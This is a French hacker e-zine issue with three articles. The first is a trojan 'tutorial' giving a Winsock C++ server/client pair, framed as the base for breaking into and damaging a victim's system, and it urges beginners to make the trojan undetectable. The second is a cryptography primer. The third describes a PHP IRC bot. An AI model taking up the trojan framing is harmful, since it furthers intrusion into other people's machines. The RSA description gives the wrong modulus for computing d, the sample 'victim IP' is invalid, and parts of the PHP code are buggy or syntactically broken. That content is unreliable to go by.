Le cheval de troie est ensemble de deux programme : Un Server et Un Client

Le  serveur  est justement le cheval qui va nous permettre d'entrer dans  le  systme  de  la 
victime  pour le sacager. Le client lui communiquera avec le serveur pour librer les soldats 
du Cheval  (Faut bien leur faire prendre l'air).

Attention ! :
Avant  de  raliser  quoi  que ce soit, je vous prviens simplement que des bases en C++ vous 
seront  ncessaire.  Les  explications  qui  suivent vous permettrons juste de savoir comment 
communique  un  serveur  et  un  client pour attribuer par la suite des fonctions relative au 
hack.

Pour commencer, nous alons raliser un serveur qui permettra de faire notre client.

Voici un exemple :
  __________________________________________________________________________________
 |                                                                                 | 
 | server.cpp                                                                      |
 |_________________________________________________________________________________| 
________________________________________________________________________________________________
#include <winsock.h>
#include <iostream.h>

void main()
{
WSADATA WSAData;
WSAStartup(MAKEWORD(2,0),&WSAData);
	
SOCKET sock;
SOCKET csock;
SOCKADDR_IN sin;
SOCKADDR_IN csin;

sock = socket(AF_INET, SOCK_STREAM, 0);

sin.sin_addr.s_addr			= INADDR_ANY;
sin.sin_family				= AF_INET;
sin.sin_port				= htons(6667); // Le server ouvre le port 6667

bind(sock, (SOCKADDR *)&sin, sizeof(sin));
listen(sock, 0);

		while(true)
		{
			int sinsize = sizeof(csin);
			if((csock = accept(sock,(SOCKADDR *)&csin,&sinsize)) != INVALID_SOCKET)
			{ // si tout c'est bien passé 
			send(csock,"Welcome on\n82.422.322.1 in port 6667\r\n\r\n",50,0);
			}
        }

closesocket(sock);
WSACleanup();
}
____________________________________________________________________________________________________


Une  Socket  est  une  interface  de  programmation  utilis chez UNIX. Microsoft lui utilise 
winsock voilàd'o vient #include <winsock.h> si vous ne le saviez pas encore.

Maintenant nous avant notre serveur, il ne reste plus qu'à coder notre client.

Et voilà un exemple :
  _____________________________________________________________________________
 |                                                                             |
 |    client.cpp                                                               |
 |_____________________________________________________________________________|
_________________________________________________________________________________________________
 
#include <stdio.h>
#include <iostream.h>
#include <winsock.h>
#include <conio.h> 

void main() 
{
  WSADATA WSAData;
  WSAStartup(MAKEWORD(2,0),&WSAData);
  SOCKADDR_IN sin;
  SOCKET sock;
  char buffer[665];
  sock = socket(AF_INET,SOCK_STREAM,0);
    
  sin.sin_addr.s_addr = inet_addr("82.422.322.1"); // ip de  la victime 
  sin.sin_family      = AF_INET; 
  sin.sin_port        = htons(6667); // Port de communication

  connect(sock, (SOCKADDR *)&sin, sizeof(sin)); // Connection  au serveur
  memset(buffer,0,665);
    int i = recv(sock, buffer, sizeof(buffer),0);
    if (i != false)
    {
    printf("%s",buffer);
    }
getch();
closesocket(sock);
WSACleanup();

getchar();
}

_____________________________________________________________________________________________________


Celà à l'air dtre un tutorial sur les sockets me direz vous, mais non pas seulement, c'est 
justement  la  base d'un troyen. Les deux codes ci-dessus montre la faon de faire un serveur 
et un  client et à partir de celà vous pourrez ajouter vos fonction selon votre utilisation 
comment  par  exemple "fopen" qui permet de lire et ecrire dans un fichier, en fin tout plein 
de choses.

Voilà maintenant il n'y a pas de secrets sur les troyens en C. Il suffit d'en coder :-P

Pour les dbutants
Je vous conseil soit de vous mettre au C ou sinon : Rendre votre troyen prcoder, indetectable. 
Good Luck !

  e-zine by ----x[FlUxIuS]x-----> <<<[(-_-)]>>>

                               (c) Hack3ver - All rights reversed.



  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|                                                            \_ \   \\_  \_ \ 1   
 || |Vous etes un vrai hacker et vous pensez etre ben stealth?     \\_  \_ \   \\_ 1  + 
 || |http://ghh.sf.net, Google Hack Honeypot project , Runner en un\_ \   \\_  \_ \ 1   
 ||'|devener un paria today :)                                       \\_  \_ \   \\_  x 
 || |                                                                \_ \   \\_  \_ \  `
 || |                                                                  \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Google Hack Honeypot Project                                          ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[17]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ un affaire de cryptographie   ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka:  hZi7ZlyvWYTma0kOQTy6LgFS0UZN                            ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[     steck    ]=\:\ _//     
                                                  \__\________________________/__/ 


Introduction  la cryptographie

Dans cet article je vais expliquer les bases de la cryptographie. Je ne  vais  pas  dtailler 
les algorithmes, je vais juste les citer pour que vous puissiez demander    votre ami google 
si vous voulez plus de renseignements.

Tout  d'abord  commenons  par  quelques  dfinitions pour mettre tout le monde d'accord.  La 
cryptographie est la science de garder des messages secrets, la cryptologie  est  la  branche 
mathmatique qui s'en charge, et la cryptanalyse est  la  science  de  retrouver  le  message 
original sans en avoir la cl.

Un texte clair, aprs chiffrement ou encryption, devient un texte chiffr  ou   cryptogramme. 
Celui ci redeviendra un texte clair aprs dchiffrement ou dcryptage.

Les deux protagonistes qui veulent s'changer un message sont appels Alice et Bernard.

La scurit d'un algorithme ne doit pas dpendre de la non connaissance de cet algorithme, au 
contraire il doit tre approuv et test par la communaut afin de 
trouver des failles.

On  distingue  deux  types  principaux   d'algorithmes : les algorithmes  cl secrte et les 
algorithmes  cl publique.

LES ALGORITHMES A CLE SECRETE

La mme cl est utilise pour chiffrer et dchiffrer les messages, et doit donc n'tre connue 
que par les personnes impliques. Si une personne avec la cl  obtient  un  message  chiffr, 
elle pourra la dchiffrer sans que les autres personnes ne s'en  rendent  compte. La scurit 
du message dpend uniquement du nombre de personnes connaissant la cl.

Ce type d'algorithme est le plus souvent utilis pour le chiffrement de fichiers sur  disque. 
L'ancien standard tait  le  DES  (Data  Encryption  Standard),  depuis  peu  un  nouveau l'a 
remplac, l'AES (Advanced Encryption Standard).

Il y a deux types de chiffrement  cl prive : le chiffrement en continu,  qui  chiffre  bit 
par bit (ou lettre par lettre), et le chiffrement par blocs, qui dcoupe  le  texte  en blocs 
(souvent 64 bits) et chiffre blocs par blocs (ventuellement en  fonction  du  bloc prcdent 
pour plus de scurit).

Dans  cette  catgorie  on  retrouve  tous  les algorithmes  substitution simple (lettre par 
lettre, comme le code de csar ou la rotation 13),  substitution homophonique  (  une  mme 
lettre correspond plusieurs  lettres  chiffres),  toutes  leurs  variantes  et  compositions 
(plusieurs substitutions en sries, substitution par blocs de 3,  Vigenre,  ENIGMA...).  Ces 
algorithmes ne cachent pas assez les caractristiques de  la  langue  utilise et sont perdus 
face  une attaque statistique (base sur la frquence d'apparition des lettres). On retrouve 
aussi les algorithmes  transposition, o c'est juste la place des lettres qui change, et qui 
se cassent aussi trs facilement.

Dans les "vrais" algorithmes, outre le DES et l'AES, on peut citer l'IDEA,  Skipjack,  RC5... 
et le masque jetable (utilisation du OU EXCLUSIF, qui est rellement incassable si la cl est 
de la longueur du texte et ne peut pas tre devine... La  gnration  des nombres alatoires 
est cruciale en cryptographie).

On considre actuellement que la taille suffisante des cls secrtes est de 128 ou  256 bits, 
selon les algorithmes.

Voici comment fonctionne en gros DES (AES, dont le vrai nom de l'algorithme est Rijndael, est 
nettement plus compliqu) :

Le texte est dcoup en blocs de 64 bits. Aprs une permutation initiale, le bloc est  divis 
en deux blocs de 32 bits. Ensuite vient 16 rondes d'une mme fonction qui  combine  ces blocs 
avec la cl de 56 bits. Ensuite ces blocs sont rassembls et  une  dernire permutation donne 
le bloc final.  C'est  le  mme  algorithme  qui  est  utilis  pour  le  chiffrement  et  le 
dchiffrement, en inversant simplement la cl. Les  oprations  dans  la  fonction  sont  des 
dcalages de bits, des permutations, des ou exclusifs avec certaines parties de la cl et des 
substitutions.

La scurit du DES a t teste et approuve aprs des annes d'tudes. Il n'y a que  4  cls 
dites faibles qui rendent l'algorithme peu sr et 60 autres sont semi-faibles.  Mais il reste 
quand mme 72 057 594 037 927 872 autres cls tout  fait valables. Une  attaque  pour tester 
toutes  le  cls  ne  devrait  en  fait tester la moiti des cls possibles (2^55 au lieu des 
2^56). En 1993 fut conue une machine  1 million  de  dollars  qui  peut  faire  une attaque 
exhaustive contre le DES en 3.5 heures. De nos jours le DES n'est plus utilis mais une telle 
machine actuellement le ferait en quelques minutes et pour bien moins cher.

Pour amliorer la scurit du DES il y a eu des variantes comme le DES triple : trois  DES   
la suite avec trois cls diffrentes 

LES ALGORITHMES A CLE PUBLIQUE

Dans ces algorithmes, une cl diffrente est utilise pour chiffrer et pour  dchiffrer.  Une 
partie  de  la cl est connue de vous seul, et une partie est publique, accessible  au  monde 
entier, dans un rpertoire de cls.

Ainsi  si  quelqu'un veut vous envoyer un message, il le chiffre avec votre cl publique,  et 
vous seul pourra le dchiffrer.

On  peut  galement  chiffrer  un  message  avec  sa  cl  prive, et tout le monde pourra le 
dchiffrer.

Ce type d'algorithme permet de rsoudre d'autres problmes lis aux transferts de 
donnes :
- l'authentification : Si Alice veut envoyer un message  Bernard, avant de le chiffrer  avec 
  la cl publique de Bernard, elle le chiffre avec sa cl prive. Ainsi  Bernard  recevra  un 
  message qu'il dchiffrera avec sa cl prive, puis dchiffrera le message  obtenu  avec  la 
  cl publique d'Alice pour obtenir le message d'origine. Etant donn  que  le  message a t 
  chiffr avec la cl prive d'Alice, il peut tre certain que le message provient d'elle. Ce 
  procd s'appelle Signer le message.
- l'intgrit :  En  signant  son  message,  il  n'y  a que Alice et Bernard qui ont accs au 
  message clair, donc personne ne peut le modifier, car  il  lui  faudrait  possder  une cl 
  prive.
- le non dsaveu : Toujours en signant son message, Alice ne peut  pas  nier  dans  le  futur 
  l'avoir envoy.

C'est ce type d'algorithmes qui sont utiliss pour les transferts bancaires ou  sur  internet 
(SSL, SSH...), et la longueur des cls respectable est des 2048 bits minimum.

Les  principaux  algorithmes  sont  RSA,  Rabin,  ElGamal,  et  repose sur des impossibilits 
mathmatiques (factorisation de produit de grands nombres premiers, calculs de racines carrs 
modulo un nombre composite, calculs de logarithmes discrets...)

Voici le fonctionnement de RSA (Rivest Shamir Adleman) :

prenons deux grands nombres premiers p et q (plus de 100 chiffres chacun)
posons n=p*q et m=(p-1)(q-1) et choisissons e premier avec m.
il suffit enfin de trouver un nombre d vrifiant e*d=1 modulo n
Le couple (n,e) est la cl publique accessible  tout le monde, et (n,d) la cl prive.
Pour chiffrer un message, il faut le dcouper par blocs (pour viter d'obtenir au final 
une simple substitution), puis d'appliquer la formule suivante pour chiffrer le bloc B :
C = B^e modulo n
Pour dchiffrer, il suffit d'appliquer :
B = C^d modulo n
Sous ce miracle se cache de l'arithmtique car ces nombres vrifient  
(B^e)^d=B^(e*d)=(B^d)^e=B modulo n, on peut donc galement chiffrer avec sa cl prive.


L'avantage  de RSA est que trouver p et q est trs facile avec des algorithmes  probabilistes 
de primalit, tant que le nombre n'est pas premier on en gnre  alatoirement  un  autre. Le 
calcul de n et m est trs rapide, e aussi avec l'algorithme  d'Euclide,  et d  grce     une 
quation de type bezout. Enfin le calcul de x^y modulo k  se  fait  grce    l'exponentielle 
rapide. Cette mthode est donc trs rapide  mettre en  place,  par contre  l'heure actuelle 
il est pratiquement impossible de factoriser n (donc  retrouver  p  et q, ncessaires pour le 
calcul de d). La socit RSA offre de l'argent aux  personnes  russissant    factoriser des 
grands nombres, le dernier en date est un nombre  de  200  chiffres : "The  sieving effort is 
estimated to have taken the equivalent of 55  years  on  a  single  2.2  GHz Opteron CPU. The 
matrix  step  reportedly  took  about  3  months  on  a  cluster  of  80  2.2  GHz Opterons." 
[http://www.rsasecurity.com/rsalabs/node.asp?id=2094]


LA CRYPTANALYSE

La  cryptanalyse  doit,  si elle russi, permettre de trouver soit le texte original, soit la 
cl d'un message chiffr. On suppose donc pour cela que l'espion connat le fonctionnement de 
l'algorithme.

L'histoire  de  la cryptanalyse est assez longue, avec pas mal de russites, surtout  pendant 
les  guerres  comme la seconde guerre mondiale, avec la machine allemande Enigma  qui  a  t 
casse, et qui a jou un rle dans l'issue de cette guerre.

Il existe plusieurs mthodes, selon ce qu'il possde :
- l'attaque  texte chiffr seulement : l'espion  possde  plusieurs textes chiffrs avec  la 
  mme cl, et doit retrouver le texte clair ou la cl.
- l'attaque  texte clair connu : l'espion possde les textes chiffrs et  leur  texte  clair 
  correspondant, il doit retrouver la  cl  ou  un  algorithme  pour  dchiffrer  les  autres 
  messages chiffrs avec la mme cl.
- l'attaque  texte clair choisi : l'espion peut obtenir le texte chiffr  partir des textes 
  clairs  qu'il  veut, son but est le mme qu'avec le texte clair connu, mais est  bien  plus 
  efficace.
- l'attaque    texte  chiffr choisi : l'espion peut choisir de dchiffrer les textes  qu'il 
  veut, et doit retrouver la cl (une sorte de reverse engineering ;)

Les  deux  premires  sont  les  plus courantes, car il est assez facile de deviner certaines 
parties de messages (en-ttes... #define, int pour du code C), ou lorsque  qu'Alice  transmet 
tout ce que lui donne l'espion pour l'envoyer  Bob.

La cryptanalyse est une tape obligatoire dans la vie d'un algorithme de chiffrement :  aprs 
avoir soumis au monde entier son algorithme, si celui ci n'a pas russi   tre  cryptanalys 
on peut suppos que c'est un bon algorithme : normment d'tudes  ont  par  exemple  taient 
faites sur le DES, il faut 2^47 textes clairs choisis pour cryptanalyser  un  DES  classique, 
mais seulement 2^20 en remplaant les  tables  utilises  dans  les  rondes  par  des  tables 
alatoires...

Certains algorithmes se cassent en deux secondes (substitution ou transposition),  alors  que 
d'autres ncessitent de tester toutes les cls possibles, mais une taille suffisante  de  ces 
dernires exclue cette possibilit, mme avec des ordinateurs les plus puissants imaginables.

La cryptanalyse est une science trs complexe, comprenant beaucoup de mthodes (cryptanalyses 
linaires, diffrentielles, ...) et ncessite des bases mathmatiques  trs  solides  ds que 
les algorithmes sont compliqus.

CONCLUSION

Cet  article  offre  un  petit  tour  d'horizon  du  monde de la cryptographie. Il y a encore 
normment  de  choses    dire,  sur les protocoles, les algorithmes, la stganographie, les 
fonctions de hachage  sens unique, les gnrateurs de nombres alatoires,  la  scurit  des 
algorithmes et la cryptanalyse relle Un autre type de cryptographie est en train de voir le 
jour : la cryptographie quantique,  qui  ne  se  base plus sur des difficults mathmatiques, 
mais sur une impossibilit  physique (cloner des photons). Un protocole de transmission a t 
propos et fonctionne,  mais  cette technique fait pour le moment face  quelques difficults 
comme les grandes  distances  et  la  rapidit.  Des  tudes sont en cours pour pallier  ces 
problmes, mais le  cot  de  cette  technique la rserve pour le moment aux gouvernements et 
grosses entreprises.

Avant de finir je voudrai vous citer le dbut de la prface de "Cryptographie applique"  (de 
Bruce Schneier), que je recommande fortement  tout ceux que cet  article  a  intress : "Il 
existe deux types de cryptographie dans le monde : la cryptographie qui empche votre  petite 
soeur de lire vos fichiers, et la cryptographie qui empche les principaux  gouvernements  de 
lire vos fichiers".

Il est vident que pour un petit usage, du DES ou un autre petit algorithme suffira. Pour les 
gouvernements, il ne faut pas oublier qu'ils ont de l'argent et les moyens de casser  pas mal 
de codes. Avant de valider le DES, la NSA (National  Security  Agency  pour  les  incultes) a 
modifi certaines tables dfinies dans l'algorithme. Personne ne sait  pourquoi,  les  tables 
initiales (par IBM) proposaient le mme niveau de scurit... Je   vous  laisse  allez    la 
paranoa (certains disent que c'est juste par mfiance d'IBM), et j'ajouterai mme que la NSA 
embauche les meilleurs mathmaticiens et cryptologues du monde... Il ne  faut  pas  non  plus 
oublier que la cryptographie doit faire parti d'une politique complte  de  scurit :  quoi 
sert le chiffrement de messages si l'espion peut voir votre cran  (TEMPEST par exemple ou de 
simples camras) ou voir ce que vous tapez au clavier...  N'oubliez  pas que dans le monde de 
la cryptographie, la paranoa est ncessaire pour survivre...

Steck



  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|                                                            \_ \   \\_  \_ \ 1   
 || |                                                              \\_  \_ \   \\_ 1  + 
 || |                http://hackever.n0ne.org                      \_ \   \\_  \_ \ 1   
 ||'|                                                                \\_  \_ \   \\_  x 
 || |                                                                \_ \   \\_  \_ \  `
 || |                                                                  \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Membre honnoraire du webring Hack.fr                                  ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[18]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ un affaire de bot php         ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: Et wyzeman reinventa la roue...again                      ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[   Wyzeman    ]=\:\ _//     
                                                  \__\________________________/__/ 



	Pour ceux qui sont tanner de scripter en TCL (the crappy language), dont surtout  moi 
mme, j'ai starter un dimanche matin o coder un truc useless etais  une  alternative  tout  
fait agrable plutot que dcouter le jour du seigneur   radiocan,  un  bot en php scriptable 
(hum hum) en php. Un bot programmer avec la philosophie que le  bot  en  tant  que  telle  ne 
devais etre qu'un frame interface entre irc  et  les  scripts  et  que donc par default il ne 
saurait rien faire d'autre que  de  se  connecter sur irc et dexecuter des scripts. Il existe 
sans  doute  beaucoup  de  facon  leet  de  faire  executer  des  scripts  a  un  bot,   mais 
personnellement tant  un  adepte  du "mouais mais ca marche..." j'ai fait tout autrement  et 
j'ai  utilis  la  mthode  la  plus  lame et la plus simple possible, a chaque vent je fait 
executer lensemble des scripts scanner dans le repertoire de script  par  l'interpreteur  php 
avec une convention au niveau des arguments, et store le  buffer  dans  une  variable qui est 
ensuite analyser par un filtre simple qui recherche  quelque  commande  hardcoder dans le bot 
(cette  parti  pourrais  meme  devenir  scriptables  (word,  des  scripts  analyser  par  des 
scripts!!!)).



	
	Je  dcrirais  donc  les  diffrents  modules  et boutes de code significatif afin de 
permetre de suivre le raisonement du projet du dbut  la "fin". Le bot  tant  trs  rduits 
dans le nombre de ces fonctions officiel fonctionne avec trs peu de modules (et utopiquement 
beaucoup de script). Les modules suivants suffise  la  tache :  socket,  irc,  script,  file 
system. Un fichier de configuration est  nescessaire au bot, les scripts tant qua eu pourrons
referer a leur propre fichier de  configuration,  de  plus qu'ils leur sera possible de faire 
appelle a des librairies de fonction ou a des classes d'object si dsir. 


	Modules:
	1) core
	2) socket		
	3) irc
	4) script
	5) file system
		


0) la conf

	bien qu'il y ai peu de chose a dire sur la conf (une conf est une conf  apres  tout), 
mais juste la paster ici risque daider a suivre le reste du code et a meviter  dla  paster 5x 
dans l'article.


<?PHP

$conf['host'] = "us.undernet.org";
$conf['port'] = 6667;	
$conf['ident'] = "shrug";
$conf['realname'] = "just do it";
$conf['nick'] = "Wyzebot";

$conf['chanlist'][0] = "#code.fr";
$conf['chanlist'][1] = "#hack.fr";
$conf['chanlist'][2] = "#linux.fr";


?>

	bon  on comprend vite le principe, non c pas multi network pour l'instant, mais c'est 
dans la todo liste de la v2.0.



1) core

	Le core du bot est relativement simple (tout  l'image de sont ensemble dailleur). il 
ne fait que loader les diffrents modules et du transfere du buffer de la connection  irc  au 
analyseur qui eux s'occuperont de lancer les scripts de facon conforme. Les seules lignes qui 
ne soit pas des appelles de constructeur dobjet ou des includes  de  fichier  important, sont 
dans un premier temps le bout de code qui lit le repertoire des scripts  afin d'en  faire une 
liste garder dans un array, imdiatement suivie de l'invitable loop  de lecture et d'analyse 
du socket connecter a irc. 



<?PHP
/*
Wyzebot 1.0 
Projet de: Wyzeman@mindkind.org
but: faire un frame de bot iso IRC scriptable en php.
     le bot devras etre le plus minimaliste possible.
     toute fonction sera dans la mesure du possible
     gerrer par les scripts. 
     
codeur : wyzeman,
*/
set_time_limit(0);

//loading des modules du bot
include("core/socket.php");
include("core/irc.php");
include("core/script.php");
include("core/wash.php");
include("conf/general.conf.php");

//var $scriptlist = array();
//initialisation des objets
echo $conf['host']."\r\n";
echo $conf['port']."\r\n";
$sock = new sock($conf['host'], $conf['port']);
$link=$sock->con($conf['host'],$conf['port']);
$irc = new irc($conf['ident'], $conf['realname'], $conf['nick'], $conf['chanlist']);
$script = new script($conf, $sock, $link);
//listing des scripts present dans /script et 
//garder sous un format array
$wash = new wash();
$scriptlist = $wash->lsfile("scripts/");
for ($x=0;$x<count($scriptlist);$x++)
	{
	echo $scriptlist[$x]."\r\n";
	}
//loop "infini", mise en fonction du bot.
while(1)
	{
	sleep(5);
	//lecture du/des socket(s)
	$buffer = $sock->buffering($link);
	//parsing du RFC IRC et initialisation des scripts
	$irc->analyse($conf['chanlist'], $buffer, $scriptlist, $script, $link, $sock);
 	}
?>


	l'analyse des resultat du socket ou du status irc pourras creer un arret du loop,
comme on pourras voir plus loin dans lanalyse des modules.


2) les sockets 


	Il n'y a rien de tres compliquer a faire des sockets en php de mme que puisque  nous 
utilisons des classes, nous auront tout le loisir de  les  amliorer  dans  le  future.  Nous 
pouvons donc nous permetre (une fois de plus) d'tre lazy  et  de crer une class socket  php 
qui est en fait un interface d'utilisation de  fopen()  ce  qui fera amplement l"affaire pour 
des connections irc ou proxy.  Comme  validation  nous  nous  contenterons  pour  linstant de 
vrifi si le port est numerique et que le ip ne l'est  pas.  Les  autres  fonctions concerne 
l'initialisation  du  socket en question, sa lecture, sont ecriture et sa fermeture. Voila il 
n'en faut pas plus pour avoir une class socket utilisable en php pour un nombre illimiter  de 
projet utilisant de simple socket TCP. 

<?php

class sock
	{
	//pseudo constructeur	
	function sock($host, $port)
		{
		if ($this->validate($host, $port))
			{	
			return(TRUE);
			}
		else
			{
			die ("config error");
			}
		}
	//verification (pour linstant tres basic des caracteres dentrer
	function validate($host, $port)
  		{
	  	if (is_numeric($port) && !is_numeric($host))
  			{
  			return(TRUE);
  			}
	  	else
  			{
  			return(FALSE);
  			}
  		}
	//connecter un socket		
	function con($host,$port)
		{
		$sock = fsockopen($host, $port);
		if (fsockopen)
			{
			return($sock);
			}
		else 
			{
			return(FALSE);
			}					
		}	
	//disconnecter un socket		
	function discon($sock)
		{
			
			if(fclose($sock))
				{
				return(TRUE);
				}
			else
				{
				return(FALSE);	
				}
		}	
	//lire le socket	
	function buffering($sock)
		{
		$buffer = fread($sock,32000);
		return($buffer);
		}
	//ecrire sur le socket
	function sending($sock, $word)
		{
		if(fwrite($sock, $word) === FALSE)
			{
			return(TRUE);
			}
		else
			{
			return(FALSE);
			}
		} 
		
	}
	

?> 


	ce a quoi nous pouvons quand meme faire quelque amliration, notament au niveau de la 
validation  du  ip et du port. de plus, un support de proxy pourrais  etre  rajouter  afin de 
permetre a notre bot de les utilisers pour se connecter plus  discretement sur irc, ou encore 
a nos scripts pour differentes tache (en utilisant  une  version  modifier  de  cette  classe 
socket ou directement celle ci, a moin que vous ayez votre propre classe socket). 

	Plus concretement cest modifications pourrais etre les suivantes pour  la validation, 
soit verifier si le port est entre 1 et 65535 (j'ai connu tres peu de serveur irc et/ou proxy 
avec un port negatif). De plus nous pourrions verifier  si  les  quatres composant du ip sont 
numrique. Avec ca, on est a peu  pret  sur davoir affaire a un ip. On devrais aussi verifier 
si chaque portion du ip est situer entre 1 et 255. 



	function validate($host, $port)
  		{
		$ip=explode(".",$host);
	  	if ( $port >= 1 && $port <= 65535 && is_numeric($port) && 
                     !is_numeric($host) && count($ip) == 4 && 
                     is_numeric($ip[0]) && is_numeric($ip[1]) && 
                     is_numeric($ip[2]) && is_numeric($ip[3] && $ip[0] >=1 && ip[0] <=255 &&
$ip[1] >=1 && ip[1] <=255 &&
$ip[2] >=1 && ip[2] <=255 &&
$ip[3] >=1 && ip[3] <=255 &&))
  			{
  			return(TRUE);
  			}
	  	else
  			{
  			return(FALSE);
  			}




	vidament  vu  comme  ca ca peu etre platte  dbuger dans 2 ans. Alors rendons ca un 
peu plus user friendly.


	function validate($host, $port)
		{
		$flag=FALSE;
		//transmutation du host en array
		$ip=explode(".",$host);
		//validation du port
		if (is_numeric($port))
			{
			if ($port >= 1 && $port <= 65535)
				{
				$flag=TRUE;		
				}
			else
				{
				$flag=FALSE;
				}
			}
		else
			{
			$flag=FALSE;
			}		

		//validation du host
		//ok jsais le premier est pas mal bidon ;]
		if (!is_numeric($host))
			{
			if (count($ip) == 4)
				{
				if (is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
					{
					if($ip[0] >= 1 && $ip[0] <= 255 && $ip[1] >= 1 && $ip[1] <= 255 && $ip[2] >= 1 && $ip[2] <= 255 && $ip[3] >= 1 && $ip[3] <= 255 )
						{
						$flag=TRUE;
						}
					else 
						{
						$flag=FALSE;
						}
					}
				else
					{
					$flag=FALSE;
					}
				}
			else
				{
				$flag=FALSE;
				}
			}
		else 
			{
			$flag=FALSE;
			}

		return($flag);

		}


	vidament ca prend bcoup plus de place :|.


3) irc


	il sagit ici de parser le protocole irc qui nous est pitcher par le socket ouvert sur 
le serveur. Pour les besoins de la demonstration seul les fonctions de  base  on  ete parser, 
comme vous verrez larbre des possibles permet facilement dajouter  de  nouvelle  fonction  au 
parser sans entrez en conflit avec des scripts deja existant. le  parser  ne fait que catcher 
le protocole irc. Evidament une bonne connaissance du rfc irc (1459) est prfrable pour bien 
comprendre cette partis. Pour ceux qui sont  trop  lazy  pour  taper rfc 1459 dans google, je 
vais ici expliquer le minimum pour etablir une connection avec un serveur irc.

telnet je vous pris.


telnet us.undernet.org 6667
Trying 207.172.156.252...
Connected to us.undernet.org.
Escape character is '^]'.
NOTICE AUTH :*** Looking up your hostname
NOTICE AUTH :*** Checking Ident
NOTICE AUTH :*** Found your hostname


ici le serveur attend quon sauthentifie

user usernameici x x :realnameici
nick usernickici

ensuite  le  serveur  nous  envois un ping au quel nous devons repondre pour officialiser  la 
connection.

PING :109186035
PONG :109186035

ensuite vous poorrez vous debrouiller dans relativement toute les situations vivable sur  irc 
 l'aide de 4 commande de base

JOIN
PART
PRIVMSG
MODE


exemple
join #hack.fr
privmsg #hack.fr :ta soeur suce des choux
part #hack.fr :sa suxx

